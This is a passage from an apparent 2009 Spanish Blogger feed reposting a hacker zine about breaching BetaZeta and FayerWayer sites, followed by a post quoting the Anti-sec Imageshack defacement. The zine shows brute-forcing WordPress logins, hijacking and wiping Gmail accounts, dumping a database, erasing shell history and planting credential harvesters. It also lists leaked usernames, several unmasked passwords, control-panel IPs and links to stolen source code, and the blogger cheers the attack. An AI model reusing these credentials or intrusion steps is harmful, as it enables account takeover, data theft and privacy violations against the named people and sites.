                   __          &lt;br /&gt;\_   _____/  _  \ |   |    |    ________ _____/  |______   &lt;br /&gt; |    __)/  /_\  \|   |    |    \___   // __ \   __\__  \  &lt;br /&gt; |     \/    |    \   |    |___  /    /\  ___/|  |  / __ \_&lt;br /&gt; \___  /\____|__  /___|_______ \/_____ \\___  &amp;gt;__| (____  /&lt;br /&gt;     \/         \/            \/      \/    \/          \/ &lt;br /&gt;&lt;br /&gt;[======================| 0wn3d |=====================]&lt;br /&gt;||||||||||||||||||||||||||||||||||||||||||||||||||||||&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * BetaFail (aka BetaZeta aka LoserZeta aka BetaWeeta -- thnx chilean dudes ^^) &lt;br /&gt; * is a loser-blogger-network which claims to be experts on technology... so lets see!&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  ]====== 0x00 ======[ Index&lt;br /&gt;&lt;br /&gt;[=-0x01-=] Affected domains&lt;br /&gt;[=-0x02-=] Vulnerabilities&lt;br /&gt;[=-0x03-=] Intrussion&lt;br /&gt;[=-0x04-=] Data requesting&lt;br /&gt;[=-0x05-=] Exposure&lt;br /&gt;[=-0x06-=] Extras&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  ]====== 0x01 =======[ Affected Domains&lt;br /&gt;+ The affected domains are:&lt;br /&gt;|- http://www.betazeta.com&lt;br /&gt;|- http://www.fayerwayer.com&lt;br /&gt;|- http://www.theclinic.cl&lt;br /&gt;|- http://www.saborizante.cl&lt;br /&gt;|- http://leo.prieto.cl&lt;br /&gt;|- http://www.betaid.org&lt;br /&gt;|- http://www.wayerless.com&lt;br /&gt;|- http://www.niubie.com&lt;br /&gt;|- http://www.botonturbo.com&lt;br /&gt;|- http://www.tecnosquad.com&lt;br /&gt;|- http://www.chw.net&lt;br /&gt;|- http://www.zetacorp.net&lt;br /&gt;|- http://www.zimio.com&lt;br /&gt;|- http://www.i2b.cl&lt;br /&gt;|_/&lt;br /&gt;-&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;  ]====== 0x02 ======[ Vulnerabilities&lt;br /&gt;/* &lt;br /&gt; * So you can ask yourself, how can this be? Easy: if you set a weak &lt;br /&gt; * password you have a weak security, if you store all your accounts in your mail &lt;br /&gt; * you hace a weak security.&lt;br /&gt; * -&amp;gt; JF aka JF10 aka Juan Francisco Diez has a 9 int long password, easy enought to &lt;br /&gt; *    been brute forced.&lt;br /&gt; * -&amp;gt; Leo aka Leo Prieto has a 5 char + 3 int password (dictionary password).&lt;br /&gt; * And so on... these dudes really don't know shit about security and lucky for us&lt;br /&gt; * theirs servers were totally open for us (open legs?).&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;  ]====== 0x03 ======[ Intrussion&lt;br /&gt;/* Hey ho, lets GO! */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(=| proof-of-concept |=)&lt;br /&gt;/* First get get the silliest password ever from our very best friend JF on any of &lt;br /&gt; * the services he uses: twitter, wordpress, etc.. (yes... really silly but he uses &lt;br /&gt; * the same password for everything!):&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;[1nf3ct3d@darkside:~]$ cat bruteforce-wordlist |bf -user=jf10  http://www.fayerwayer.com/wp-login.php&lt;br /&gt;|===== expl0iting www.fayerwayer.com ====|&lt;br /&gt;................................................................................&lt;br /&gt;................................................................................&lt;br /&gt;....................... FOUND! (2020229)&lt;br /&gt;[1nf3ct3d@darkside:~]$ cat bruteforce-wordlist |bf -user='leo prieto'  http://www.fayerwayer.com/wp-login.php&lt;br /&gt;|===== expl0iting www.fayerwayer.com ====|&lt;br /&gt;................................................................................&lt;br /&gt;................................................................................&lt;br /&gt;................................................................................&lt;br /&gt;.................................................. FOUND! (macoy123)&lt;br /&gt;[1nf3ct3d@darkside:~]$&lt;br /&gt;&lt;br /&gt;/* Done. Now, search a prompt: */&lt;br /&gt;&lt;br /&gt;[1nf3ct3d@darkside:~]$ telnet fayerwayer.com 37337&lt;br /&gt;Trying 174.132.120.218...&lt;br /&gt;Connected to fayerwayer.com.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;bash$&lt;br /&gt;&lt;br /&gt;/* Now we can try with anything... say... gmail: */&lt;br /&gt;&lt;br /&gt;[1nf3ct3d@darkside:~]$ ./gmail-delete.py -user jf10 -pass 2020229 http://mail.google.com/a/betazeta.com&lt;br /&gt;Logged in.&lt;br /&gt;Deleting&lt;br /&gt;[================================================================================================] 100%&lt;br /&gt;Changing user password ... OK&lt;br /&gt;New password is: HuJucF53&lt;br /&gt;&lt;br /&gt;/* Heh! Now lets play with Leo Prieto's stuff (again... same password almost&lt;br /&gt; * for everything) */&lt;br /&gt;&lt;br /&gt;[1nf3ct3d@darkside:~]$ ./gmail-delete.py -user leo -pass macoy123 http://mail.google.com/a/betazeta.com&lt;br /&gt;Logged in.&lt;br /&gt;Deleting&lt;br /&gt;[================================================================================================] 100%&lt;br /&gt;Changing user password ... OK&lt;br /&gt;New password is: 4Gh4Fhb&lt;br /&gt;[1nf3ct3d@darkside:~]$&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;  ]====== 0x04 ======[ Data requesting&lt;br /&gt;/* Wordpress has been infected ... now waiting for our data */&lt;br /&gt;&lt;br /&gt;[1nf3ct3d@darkside:~]$ wget http://www.wayerless.com/wp-content/uploads/2008/12/sheet.jpg -o /dev/null&lt;br /&gt;[1nf3ct3d@darkside:~]$ tail sheet.jpg&lt;br /&gt;user:  pass: &lt;br /&gt;user:  pass: &lt;br /&gt;user: mr_self-destruct pass: ********&lt;br /&gt;user: march3lo pass: marcel&lt;br /&gt;user: mr_self-destruct pass: ********&lt;br /&gt;user: mr_self-destruct pass: ********&lt;br /&gt;user: sir_lestat pass: ********&lt;br /&gt;user: asdsadfsadf pass: ********&lt;br /&gt;user: Chok pass: ********&lt;br /&gt;user: successor pass: ********&lt;br /&gt;/* Amazing .... */&lt;br /&gt;[1nf3ct3d@darkside:~]$ wc -l sheet.jpg&lt;br /&gt;682 sheet.jpg&lt;br /&gt;[1nf3ct3d@darkside:~]$ wget http://www.botonturbo.com/wp-content/uploads/2007/11/sheet.jpg -o /dev/null -O sheet2.jpg&lt;br /&gt;[1nf3ct3d@darkside:~]$ &lt;br /&gt;&lt;br /&gt;/* Awesome! For each domain we repeat */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1nf3ct3d@darkside:~]$ ssh betaid@betaid.org&lt;br /&gt;Password:&lt;br /&gt;betaid@betaid.org:~$ ls&lt;br /&gt;app_error.php  app_model.php  config  controllers  htaccess.template  httpdocs index.php  locale  models  plugins  tests  tmp vendors  views webroot&lt;br /&gt;betaid@betaid.org:~$ cd config&lt;br /&gt;betaid@betaid.org:~/config$ ls&lt;br /&gt;acl.ini.php  betaid.php  bootstrap.php chile.sql  core.php  database.php  entelpcs.php  inflections.php  openid.php  routes.php  sql&lt;br /&gt;betaid@betaid.org:~$ grep -v \* database.php &lt;br /&gt;class DATABASE_CONFIG {&lt;br /&gt;&lt;br /&gt; var $default = array(&lt;br /&gt;  'driver' =&amp;gt; 'mysql',&lt;br /&gt;  'persistent' =&amp;gt; false,&lt;br /&gt;  'host' =&amp;gt; 'localhost',&lt;br /&gt;  'login' =&amp;gt; 'betaman', /* look at this! */&lt;br /&gt;  'password' =&amp;gt; '********',&lt;br /&gt;  'database' =&amp;gt; 'betaid_main',&lt;br /&gt;    'encoding'=&amp;gt; 'UTF8',&lt;br /&gt;  'prefix' =&amp;gt; '',&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; var $test = array(&lt;br /&gt;  'driver' =&amp;gt; 'mysql',&lt;br /&gt;  'persistent' =&amp;gt; false,&lt;br /&gt;  'host' =&amp;gt; 'localhost',&lt;br /&gt;  'login' =&amp;gt; 'user',&lt;br /&gt;  'password' =&amp;gt; '********',&lt;br /&gt;  'database' =&amp;gt; 'test_database_name',&lt;br /&gt;  'prefix' =&amp;gt; '',&lt;br /&gt; );&lt;br /&gt;}&lt;br /&gt;betaid@betaid.org:~$&lt;br /&gt;/* OMFG! Is a DB_delete_all_my_content password? */&lt;br /&gt;&lt;br /&gt;betaid@betaid.org:~$ mysqldump -ubetaman -pbetapass betaid_main &amp;gt;../httpdocs/betaz.sql&lt;br /&gt;betaid@betaid.org:~$ exit&lt;br /&gt;[1nf3ct3d@darkside:~]$ wget http://www.betaid.org/betaz.sql -o /dev/null&lt;br /&gt;[1nf3ct3d@darkside:~]$ ssh betaid@betaid.org "rm -rf httpdocs/betaz.sql &amp;amp;&amp;amp; shred .bash_history"&lt;br /&gt;Password:&lt;br /&gt;[1nf3ct3d@darkside:~]$&lt;br /&gt;&lt;br /&gt;/* Its time to infect betaid to obtain all data!. We modify controller/auth_controller.php and pump it up */&lt;br /&gt;&lt;br /&gt;[1nf3ct3d@darkside:~]$ wget http://www.wayerless.com/wp-content/uploads/2008/11/audi-a3.jpg -o /dev/null&lt;br /&gt;[1nf3ct3d@darkside:~]$ wc -l audi-a3.jpg&lt;br /&gt;262 audi-a3.jpg&lt;br /&gt;[1nf3ct3d@darkside:~]$ tail -5 audi-a3.jpg&lt;br /&gt;user: zector pass: ********&lt;br /&gt;user: chokolat pass: ********&lt;br /&gt;user: andru pass: ********&lt;br /&gt;user: angrod pass: ********&lt;br /&gt;user: elmono pass: ********&lt;br /&gt;[1nf3ct3d@darkside:~]$ perl http-delete.pl http://www.wayerless.com/wp-content/uploads/2008/11/audi-a3.jpg -u admin&lt;br /&gt;admin's pwd:&lt;br /&gt;1 file(s) deleted.&lt;br /&gt;[1nf3ct3d@darkside:~]$&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;  ]====== 0x05 ======[ Exposure&lt;br /&gt;/* All that you want to see! THE DATA! */&lt;br /&gt;/* Anyone want to twit? */&lt;br /&gt;twitter.com:fayerwayer:f4y3rw4y3rdoesthisshit4realz&lt;br /&gt;vimeo.com:fw@fayerwayer.com:gatoinalambrico&lt;br /&gt;&lt;br /&gt;ZeroZen:&lt;br /&gt;mail.google.com/a/zetacorp.net:zerozen:rtr944a5&lt;br /&gt;gmail.com:zeroblogger:rtr944a5&lt;br /&gt;www.google.com/a/betazeta.com:zerozen:rtr944a4&lt;br /&gt;&lt;br /&gt;Mail:Pass&lt;br /&gt;jf@betazeta.com:********&lt;br /&gt;leo@betazeta.com:********&lt;br /&gt;&lt;br /&gt;http://wayerless.com&lt;br /&gt;user:sebastian pass: ********&lt;br /&gt;user:rodrigo pass: ********&lt;br /&gt;user:juaqion pass: ********&lt;br /&gt;user: rodrigo pass: ********&lt;br /&gt;user: admin pass: ********&lt;br /&gt;user: frajola pass: ********&lt;br /&gt;&lt;br /&gt;FayerWayer:&lt;br /&gt;user: rodrigo pass: ********&lt;br /&gt;user: admin pass:********&lt;br /&gt;user: frajola pass:********&lt;br /&gt;user: JF10 pass:********&lt;br /&gt;user: sebastian pass:********&lt;br /&gt;user: carlos pass:********&lt;br /&gt;user: Amenadiel pass:********&lt;br /&gt;user: hugo pass:********&lt;br /&gt;user: admin pass:********&lt;br /&gt;user: i2b pass:********&lt;br /&gt;user: diego pass:********&lt;br /&gt;user: leo prieto pass:********&lt;br /&gt;user: diego pass:********&lt;br /&gt;user: Diego pass:********&lt;br /&gt;user:  diego pass:********&lt;br /&gt;user: ZeroZen pass:********&lt;br /&gt;user: carlos pass:********&lt;br /&gt;user: Ultraviolet pass:********&lt;br /&gt;user: FelipeLang pass:********&lt;br /&gt;user: Ultraviolet pass:********&lt;br /&gt;user: eft0 pass:********&lt;br /&gt;user: eft0@zetacorp pass:********&lt;br /&gt;&lt;br /&gt;DB user fayerwayer&lt;br /&gt;DB pass MysqlFayerwayer80&lt;br /&gt;&lt;br /&gt;user: mr.chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: mr.chips pass:********&lt;br /&gt;user: mr.chips pass:********&lt;br /&gt;user: mr.chips pass:********&lt;br /&gt;user: mr.chips pass:********&lt;br /&gt;user: mr.chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: mr. chips pass:********&lt;br /&gt;user: Boxbyte pass:********&lt;br /&gt;user: admin pass:********&lt;br /&gt;user: leoprieto@gmail.com pass: ********&lt;br /&gt;&lt;br /&gt;URL: http://69.89.21.73:2082/frontend/bluehost/index.html&lt;br /&gt;user: itwobcl&lt;br /&gt;pass: ********&lt;br /&gt;&lt;br /&gt;FTP&lt;br /&gt;IP: 69.89.21.73&lt;br /&gt;User: itwobcl&lt;br /&gt;Pass: ********&lt;br /&gt;---&lt;br /&gt;Jabber&lt;br /&gt;User: esteban@hs.i2b.cl&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;Mail&lt;br /&gt;SMTP: smtp.i2b.cl&lt;br /&gt;Port: 587&lt;br /&gt;POP: pop.i2b.cl&lt;br /&gt;Port: 110&lt;br /&gt;User and account: esteban.fernandez@i2b.cl&lt;br /&gt;Pass: ********&lt;br /&gt;---&lt;br /&gt;Customer #: 18766006&lt;br /&gt;Simple Control Panel&lt;br /&gt;URL: https://72.167.52.30:9999&lt;br /&gt;User: zetacorp&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;phpmyadmin&lt;br /&gt;URL: http://72.167.52.30/phpMyAdmin&lt;br /&gt;User: root&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;SSH&lt;br /&gt;IP: 72.167.52.30&lt;br /&gt;User: zetacorp&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;Admin WP&lt;br /&gt;http://www.fayerwayer.com/wp-admin&lt;br /&gt;&lt;br /&gt;User: admin&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;Admin Limesurvey&lt;br /&gt;http://www.fayerwayer.com/limesurvey/admin&lt;br /&gt;User: admin&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;MySQL&lt;br /&gt;User: root&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;Backup&lt;br /&gt;IP: 208.109.188.17&lt;br /&gt;User: zetacorp&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;PIX&lt;br /&gt;https://72.167.52.79/&lt;br /&gt;User: zetacorp&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;ftp FW&lt;br /&gt;Host: fayerwayer.i2b.cl&lt;br /&gt;User: fayerwayer&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;i2b&lt;br /&gt;URL: www.bluehost.com&lt;br /&gt;User: i2b.cl&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;FTP ablog.i2b.cl&lt;br /&gt;Host: 69.89.21.73&lt;br /&gt;User: itwobcl&lt;br /&gt;Pass: ********&lt;br /&gt;Root Blog: /public_html/blog/&lt;br /&gt;&lt;br /&gt;http://www.betazeta.com/wp-admin/&lt;br /&gt;User: admin&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;zimio.com (SCP)&lt;br /&gt;User: zimio&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;betazeta.com&lt;br /&gt;FTP&lt;br /&gt;User: betazeta&lt;br /&gt;Pass: ********&lt;br /&gt; &lt;br /&gt;wayerless.com&lt;br /&gt;FTP&lt;br /&gt;User: wayerless&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;zetacorp.net&lt;br /&gt;FTP&lt;br /&gt;User: zetacorp&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Plesk&lt;br /&gt;URL: https://64.13.250.71:8443&lt;br /&gt;Username:admin&lt;br /&gt;Password:********&lt;br /&gt;&lt;br /&gt;SSH&lt;br /&gt;Host: saborizante.com&lt;br /&gt;User: efernadez&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;Root&lt;br /&gt;Pass: ********&lt;br /&gt;&lt;br /&gt;Sites&lt;br /&gt;Path: /var/www/vhosts/dominio&lt;br /&gt;&lt;br /&gt;User name: eft0&lt;br /&gt;Password : ********&lt;br /&gt;http://betazetanet.seework.com&lt;br /&gt;&lt;br /&gt;http://devwayerles.i2b.cl&lt;br /&gt;Username: admin&lt;br /&gt;Password: ********&lt;br /&gt;&lt;br /&gt;BetaID&lt;br /&gt;user: lpinto pass: ********&lt;br /&gt;user: perovi pass: ********&lt;br /&gt;user: nestorcarrasco pass: ********&lt;br /&gt;user: volkova pass: ********&lt;br /&gt;user: melkorazo pass: ********&lt;br /&gt;user: melkorazo pass: ********&lt;br /&gt;user: patofuqs pass: ********&lt;br /&gt;user: patofuqs pass: ********&lt;br /&gt;user: patofuqs pass: ********&lt;br /&gt;user: patofuqs pass: ********&lt;br /&gt;user: gagoner pass: ********&lt;br /&gt;user: claudiomix pass: ********&lt;br /&gt;user: Vidal pass: ********&lt;br /&gt;user: vidal pass: ********&lt;br /&gt;user: lorena pass: ********&lt;br /&gt;user: Polin pass: ********&lt;br /&gt;user: derangedwolf pass: ********&lt;br /&gt;user: darkoy pass: ********&lt;br /&gt;user: darkjano pass: ********&lt;br /&gt;user: hetnet pass: ********&lt;br /&gt;user: hetnet pass: ********&lt;br /&gt;user: nivyii pass: ********&lt;br /&gt;user: nivyii pass: ********&lt;br /&gt;user: serroba pass: ********&lt;br /&gt;user: don juan pass: ********&lt;br /&gt;user: donjuan pass: ********&lt;br /&gt;user: grouchomarx pass: ********&lt;br /&gt;user: grouchomarx pass: ********&lt;br /&gt;user: Evadix pass: ********&lt;br /&gt;user: doruku pass: ********&lt;br /&gt;user: neuroshark pass: ********&lt;br /&gt;user: neuroshark pass: ********&lt;br /&gt;user: andyolivares pass: ********&lt;br /&gt;user: andyolivares pass: ********&lt;br /&gt;user: firexcool pass: ********&lt;br /&gt;user: noquierouser pass: ********&lt;br /&gt;user: Ecodrive pass: ********&lt;br /&gt;user: ecodrive pass: ********&lt;br /&gt;user: masteralfe pass: ********&lt;br /&gt;user: Juako pass: ********&lt;br /&gt;user: talkover pass: ********&lt;br /&gt;user: davidqs pass: ********&lt;br /&gt;user: Thefx pass: ********&lt;br /&gt;user: thefx pass: ********&lt;br /&gt;user: sprite pass: ********&lt;br /&gt;user: nachx00 pass: ********&lt;br /&gt;user: nachx00 pass: ********&lt;br /&gt;user:  pass: ********&lt;br /&gt;user: vagrant pass: ********&lt;br /&gt;user: forbidden pass: ********&lt;br /&gt;user: payazo pass: ********&lt;br /&gt;user: mescalier pass: ********&lt;br /&gt;user: ruffox pass: ********&lt;br /&gt;user: khalebd pass: ********&lt;br /&gt;user: fako85 pass: ********&lt;br /&gt;user: patus pass: ********&lt;br /&gt;user: jorge pass: ********&lt;br /&gt;user: dsalgado pass: ********&lt;br /&gt;user: joseph pass: ********&lt;br /&gt;user: joseph pass: ********&lt;br /&gt;user: manuel pass: ********&lt;br /&gt;user: suikakuyu pass: ********&lt;br /&gt;user: suikakuyu pass: ********&lt;br /&gt;user: eduardo pass: ********&lt;br /&gt;user: paz pass: ********&lt;br /&gt;user: paz pass: ********&lt;br /&gt;user: dickinsonh2k pass: ********&lt;br /&gt;user: clarkxp pass: ********&lt;br /&gt;user: laura pass: ********&lt;br /&gt;user: Marmota pass: ********&lt;br /&gt;user: zirex pass: ********&lt;br /&gt;user: chinito46 pass: ********&lt;br /&gt;user: lukas pass: ********&lt;br /&gt;user: lukas pass: ********&lt;br /&gt;user: Esperpento pass: ********&lt;br /&gt;user: rvs pass: ********&lt;br /&gt;user: davdor pass: ********&lt;br /&gt;user: kmepartaunrayo pass: ********&lt;br /&gt;user: hiroki pass: ********&lt;br /&gt;user: jf10 pass: ********&lt;br /&gt;user: ail pass: ********&lt;br /&gt;user: JanoMac pass: ********&lt;br /&gt;user: eldarberserker pass: ********&lt;br /&gt;user: Nanolethal pass: ********&lt;br /&gt;user: necrox pass: ********&lt;br /&gt;user: rkstro pass: ********&lt;br /&gt;user: Elias pass: ********&lt;br /&gt;user: antony pass: ********+&lt;br /&gt;user: turbomaster pass: ********&lt;br /&gt;user: turbomaster pass: ********&lt;br /&gt;user: turbomaster pass: ********&lt;br /&gt;user: Foxtrot pass: ********&lt;br /&gt;user: vortex pass: ********&lt;br /&gt;user: vortex pass: ********&lt;br /&gt;user: francofa pass: ********&lt;br /&gt;user: saint pass: ********&lt;br /&gt;user: wurrzag pass: ********&lt;br /&gt;user: wurrzag pass: ********&lt;br /&gt;user: wurrzag pass: ********&lt;br /&gt;user: wurrzag pass: ********&lt;br /&gt;user: infositio pass: ********&lt;br /&gt;user: camilo_dxmg@live pass: ********&lt;br /&gt;user: zector pass: ********&lt;br /&gt;user: chokolat pass: ********&lt;br /&gt;user: andru pass: ********&lt;br /&gt;user: angrod pass: ********&lt;br /&gt;user: elmono pass: ********&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;  ]====== 0x06 ======[ Extras&lt;br /&gt;/* Do you remember when CHW was erradicated?&lt;br /&gt; * Oh wait. Remember bootlog too? ;-)&lt;br /&gt; * -- That's was the OPPORTUNITY which BetaZeta has to set a REAL security-policy&lt;br /&gt; *&lt;br /&gt; * Wanna download the betaid source code? Here:&lt;br /&gt; *&lt;br /&gt; * http://rapidshare.com/files/254417420/betaid.org.zip.html&lt;br /&gt; * http://www.megaupload.com/?d=8FT5KYTP&lt;br /&gt; *&lt;br /&gt; *&lt;br /&gt; * Direct message to JF: Be more humble, piece of shit.&lt;br /&gt; * Seeya in the next issue!&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* Dud3s! Y0u've been pwn3d by teletubbies! */&lt;br /&gt;&lt;br /&gt;EOF&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Los servidores afectados fueron todos los de BetaZeta (por eso el ataque se llamó FailZeta). Realmente les dieron duro. Los dejaron... DESNUDOS!&lt;br /&gt;&lt;br /&gt;La gente de FayerWayer aún está llorando por Twitter y por otros sitios, pero creo que en lugar de llorar y decir que la seguridad de sus servidores no fue comprometida deberían aprender la lección:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;No utilicen contraseñas de niños si tienen servicios conocidos o populares en internet, porque puede venir un teletubbie y ZAZZZZ en toda la boca, pa' que aprendan a ser serios ;)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Esta si que ha sido una noche realmente movida YAY! xD&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Actualizado&lt;/em&gt;: Por petición de la gente de FayerWayer he quitado todas las contraseñas de los usuarios involucrados&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-5364887877973160070?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/5364887877973160070/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=5364887877973160070&amp;isPopup=true' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5364887877973160070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5364887877973160070'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/07/noche-de-hackers-fayerwayer-tambien-fue.html' title='Noche de hackers... FayerWayer Owned (F4Y3RW4Y3R PWN3D)'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-7328631362641079881</id><published>2009-07-10T20:46:00.001-07:00</published><updated>2009-07-10T21:24:48.681-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otros'/><title type='text'>Imageshack hackeado!</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Hace unos minutos estaba cambiando un poco el look &amp; feel del blog y cuando recargo la página me encuentro con que la imagen de fondo (almacenada en imageshack) se ve un poco... diferente :S&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SlgLavYOGwI/AAAAAAAAAPI/LiORrpVtbBI/s1600-h/Pantallazo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SlgLavYOGwI/AAAAAAAAAPI/LiORrpVtbBI/s320/Pantallazo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5357044310779763458" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Al parecer un grupo en contra del "acceso total" que ofrecen grandes compañias para vender sus rancios firewalls, antivirus famélicos y otros programas escatológicos para "ayudar" a la gente han decidido hacer escuchar su voz a través de un servicio tan concurrido como Imageshack.&lt;br /&gt;&lt;br /&gt;Después del salto pueden ver la imagen que ha colocado el grupo en su completa extensión.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oLUxtmo5LIU/SlgNAAsOfqI/AAAAAAAAAPQ/SQ3tjDqb5x8/s1600-h/bglk4.gif.jpeg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 246px; height: 320px;" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/SlgNAAsOfqI/AAAAAAAAAPQ/SQ3tjDqb5x8/s320/bglk4.gif.jpeg" border="0" alt=""id="BLOGGER_PHOTO_ID_5357046050593865378" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A continuación traduzco textualmente:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;imageshack&lt;br /&gt;&lt;br /&gt;Presenta con orgullo...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Anti-sec&lt;/strong&gt;. Somos un movimiento dedicado a la erradicación del acceso total. Quisimos darle a todos una imagen de lo que nos referimos.&lt;br /&gt;&lt;br /&gt;El acceso total es el acceso a los exploits públicos - en todas partes. La industria de la seguridad usa el acceso total para beneficiarse y desarrollar tácticas de terro para convencer a la gente de comprar sus firewalls, anti-virus y servicios de auditoría.&lt;br /&gt;&lt;br /&gt;Mientras tanto, scripts de juguete copian y pegan esos exploits y los compilan, listos para atacar a todos los servidores vulnerables que puedan. Si los de cuello blanco  realmente estuvieran por la seguridad esta cosa no se publicaría, ni siquiera exploits con ediciones tontas para hacerlos ligeramente inusables.&lt;br /&gt;&lt;br /&gt;Como bono adicional, si la publicación no fuera suficiente, esos exploits se replican y distribuyen ampliamente a través de Internet con una linda publicidad incrustada en ellos para el equipo o website que expusó primero la vulnerabilidad al público.&lt;br /&gt;&lt;br /&gt;Es por dinero. Mientras resulta difícil cambiar el mundo, y el dinero ciertamente continua siendo importante en ojos de muchos, nuestra batalla es por la remoción del acceso total con la finalidad de ponérsela difícil a la industría de la seguridad y explotar sus consecuencias.&lt;br /&gt;&lt;br /&gt;Es nuestra meta que, a través de la mutilación y la destrucción de todos las comunidades perjudiciales, de exploits, compañías e individuos, el acceso total sea abandonado y la industria de la seguridad se vea forzada a reformarse.&lt;br /&gt;&lt;br /&gt;¿Cómo pretendemos lograr esto? A través de la eliminación completa, implacable y sin piedad de todos los que apoyan el acceso total y a la industria de la seguridad en su forma actual. Si posees un blog sobre seguridad, sitios web de publicación de exploits o distribuyes cualquier exploit... "eres un objetivo y serás eliminado. Solo es cuestión de tiempo."&lt;br /&gt;&lt;br /&gt;Esto no es como antes. Esta vez &lt;em&gt;todos&lt;/em&gt; y &lt;em&gt;todo&lt;/em&gt; será poseido&lt;br /&gt;&lt;br /&gt;Firma: &lt;strong&gt;El Movimiento Anti-sec&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Ninguna imagen fue herida en la elaboración de esta... imagen.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;¿Interesante no? Saludos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-7328631362641079881?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/7328631362641079881/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=7328631362641079881&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/7328631362641079881'/><link rel='self' type='application/atom+xml' 